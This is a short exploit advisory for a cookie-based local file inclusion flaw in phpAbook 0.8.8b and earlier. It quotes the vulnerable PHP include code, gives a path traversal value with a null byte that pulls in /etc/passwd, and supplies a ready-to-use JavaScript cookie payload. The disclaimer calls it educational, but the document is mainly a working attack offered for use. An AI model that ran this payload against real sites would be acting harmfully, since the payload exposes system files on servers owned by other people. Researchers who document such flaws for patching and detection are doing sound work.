# phpAbook <= 0.8.8b (COOKIE) Local File Inclusion Vulnerability
# url: http://sourceforge.net/projects/phpabook/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# *Requirements: magic_quotes_gpc = Off

vuln file: include/config.inc.php
vuln code:

x:  >...
61: if (isset($HTTP_COOKIE_VARS["userInfo"]) && $HTTP_COOKIE_VARS["userInfo"] != "") {
  $userArray = explode(" ", $HTTP_COOKIE_VARS["userInfo"]);
  $userName = $userArray[0];
  $userID = $userArray[1];
  $userLang = $userArray[2];
  include("include/lang/$userLang/inc.messages.php");
67:  }
x:  <...

Proof of Concept (function 'explode' PHP):
[0] = JosS;
[1] = JosS;
[2] = ../../../../etc/passwd%00; ---> INCLUDE

exploit: 
javascript:document.cookie="userInfo=JosS JosS ../../../../etc/passwd%00; path=/";

Ingenious work :D